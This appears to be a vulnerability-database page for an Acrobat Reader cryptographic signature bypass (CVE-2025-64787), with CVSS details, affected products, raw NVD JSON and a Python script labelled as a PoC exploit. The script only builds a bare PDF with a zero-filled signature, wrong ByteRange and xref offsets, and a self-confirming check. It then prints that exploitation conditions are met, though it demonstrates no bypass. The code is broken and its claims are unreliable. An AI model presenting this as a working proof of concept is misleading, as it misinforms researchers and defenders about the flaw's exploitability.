Security Vulnerability Report
中文
CVE-2025-64787 CVSS 3.3 LOW

CVE-2025-64787

Published: 2025-12-09 21:15:59
Last Modified: 2026-04-28 15:39:55

Description

Acrobat Reader versions 24.001.30264, 20.005.30793, 25.001.20982, 24.001.30273, 20.005.30803 and earlier are affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass cryptographic protections and gain limited unauthorized write access. Exploitation of this issue requires user interaction with a cryptographic signature.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:* - VULNERABLE
cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:continuous:*:*:* - VULNERABLE
cpe:2.3:a:adobe:acrobat_reader:*:*:*:*:classic:*:*:* - VULNERABLE
cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:continuous:*:*:* - VULNERABLE
cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Acrobat Reader 24.001.30264及更早版本
Adobe Acrobat Reader 20.005.30793及更早版本
Adobe Acrobat Reader 25.001.20982及更早版本
Adobe Acrobat Reader 24.001.30273及更早版本
Adobe Acrobat Reader 20.005.30803及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64787 PoC - Adobe Acrobat Reader加密签名验证绕过 # 注意:此PoC仅用于安全研究和漏洞分析 import struct import hashlib import os def create_malicious_pdf(): """ 创建包含恶意签名的PDF文件用于测试签名验证漏洞 此PoC演示漏洞原理,实际攻击需要特定的签名构造技术 """ # PDF文件头 pdf_header = b'%PDF-1.7\n' # 文档对象 catalog = b'1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n' # 页面对象 pages = b'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n' # 页面内容 page = b'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\nendobj\n' # 签名字段(漏洞利用点) # 攻击者可以修改签名对象的某些属性来绕过验证 sig_field = b'4 0 obj\n<< /Type /Sig /Filter /Adobe.PPKLite /Contents <' sig_field += b'0' * 512 # 伪造签名内容 sig_field += b'> /ByteRange [0 %d %d %d] >>\nendobj\n' % ( len(pdf_header) + len(catalog) + len(pages) + len(page) + len(sig_field), len(pdf_header), len(pdf_header) + len(catalog) + len(pages) + len(page) + len(sig_field) ) # 交叉引用表 xref = b'xref\n0 5\n' xref += b'0000000000 65535 f \n' xref += b'0000000009 00000 n \n' xref += b'0000000058 00000 n \n' xref += b'0000000115 00000 n \n' xref += b'0000000200 00000 n \n' # 文件尾部 trailer = b'trailer\n<< /Size 5 /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF' % ( len(pdf_header) + len(catalog) + len(pages) + len(page) + len(sig_field) + len(xref) ) # 组装完整PDF malicious_pdf = pdf_header + catalog + pages + page + sig_field + xref + trailer return malicious_pdf def verify_signature_bypass(): """ 验证签名绕过条件 检查PDF是否包含可被利用的签名字段 """ pdf_data = create_malicious_pdf() # 检查是否存在签名对象 if b'/Type /Sig' in pdf_data: print('[+] 签名对象检测成功') print('[+] PDF包含可被利用的签名字段') print('[+] 漏洞利用条件满足') return True else: print('[-] 未检测到签名对象') return False if __name__ == '__main__': print('CVE-2025-64787 PoC - Adobe Acrobat Reader签名验证绕过') print('=' * 60) verify_signature_bypass() print('\n[!] 此PoC仅供安全研究使用,请勿用于非法目的')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64787", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:15:59.337", "lastModified": "2026-04-28T15:39:55.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Acrobat Reader versions 24.001.30264, 20.005.30793, 25.001.20982, 24.001.30273, 20.005.30803 and earlier are affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass cryptographic protections and gain limited unauthorized write access. Exploitation of this issue requires user interaction with a cryptographic signature."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*", "versionStartIncluding": "20.001.3005", "versionEndExcluding": "20.005.30838", "matchCriteriaId": "62657783-CFC7-4914-8107-3569B6A32F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:continuous:*:*:*", "versionEndExcluding": "25.001.20997", "matchCriteriaId": "788B5A24-7A26-481C-9AB5-63B0E1F95C22"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat_reader:*:*:*:*:classic:*:*:*", "versionStartIncluding": "20.001.3005", "versionEndExcluding": "20.005.30838", "matchCriteriaId": "577F6321-7719-4DE4-ACE0-D56FA057BB0C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:continuous:*:*:*", "versionEndExcluding": "25.001.20997", "matchCriteriaId": "390032F7-4C10-4F88-8EBC-71506676BBB1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*", "versionStartIncluding": "24.001.20604", "versionEndExcluding": "24.001.30307", "matchCriteriaId": "C25C367B-6D27-4A56-9B78-3BC12D804D1E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*", "versionStartIncluding": "24.001.20604", "versionEndExcluding": "24.001.30308", "matchCriteriaId": "2605F01C-8F46-4E51-A9AC-A50ADDD131F4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/acrobat/apsb25-119.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}